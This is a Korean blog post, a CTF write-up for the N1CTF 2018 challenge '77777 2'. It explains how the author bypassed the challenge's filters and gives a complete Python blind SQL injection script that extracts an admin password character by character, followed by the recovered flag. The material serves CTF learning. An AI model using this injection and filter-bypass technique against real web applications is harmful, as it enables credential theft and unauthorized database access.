N1CTF 2018 77777 2

CTF/Writeup 2018. 3. 13. 01:31

77777 이라는 이전 문제와 같은 유형인데 필터링이 좀더 빡세져있다.

 

 

 

이전 익스플로잇을 비슷하게 써주면 되는데 추가된 필터링 중 숫자 2~9 중 특정 몇개 숫자를 필터링하고 있어서 1+1+1+1+1+1+1+1+1 이런식으로 숫자늘려서 사용했다. 그리고 flag인 admin password 컬럼이 (pw)

요런식으로 컬럼명 앞뒤에 문자가 있으면 필터링되고있어서 공백줘서 ( pw ) 요런식으로 우회해줬다.

페이로드는 다음과 같다.

 

import urllib2

def request(data):
url = "http://47.52.137.90:20000"
req = urllib2.Request(url,data)
req.add_header('User-Agent','Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko')
response = urllib2.urlopen(req).read()

if "1001" in str(response):
return True
else:
return False

length = 0
for i in range(0,100):
payload = "flag=1&hi=" + urllib2.quote("+if(strcmp(length( pw ),1"+"+1"*i+"),0,1000)")
if request(payload)==True:
print "[*]Find Admin Length = " + str(i+1)
length = i+1
break

password = ""
strings = "abcdefghijklmnopqrstuvxzyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_!"
for i in range(0,length):
for j in range(0,len(strings)):
payload = "flag=1&hi=" + urllib2.quote("+if(strcmp(substr( pw ,1" + "+1"*i + ",1),'" + strings[j] + "'),0,1000)")
if request(payload)==True:
password += strings[j]
break

print "[*]Find Admin Password = "+password
print "[*]Find flag= N1CTF{"+password+"}"

 

[*]Find Admin Length = 22
[*]Find Admin Password = hahah777a7aha77777aaaa
[*]Find flag= N1CTF{hahah777a7aha77777aaaa}

 

'CTF > Writeup' 카테고리의 다른 글

SunshineCTF Home Sweet Home  (0) 2018.04.07
SunshineCTF Evaluation  (0) 2018.04.07
N1CTF 2018 funning eating cms  (0) 2018.03.12
N1CTF 2018 77777  (0) 2018.03.12
Truststealth CTF 2018 Custom Storage (DelspoN) 500  (0) 2018.03.08
블로그 이미지

JeonYoungSin

메모 기록용 공간

,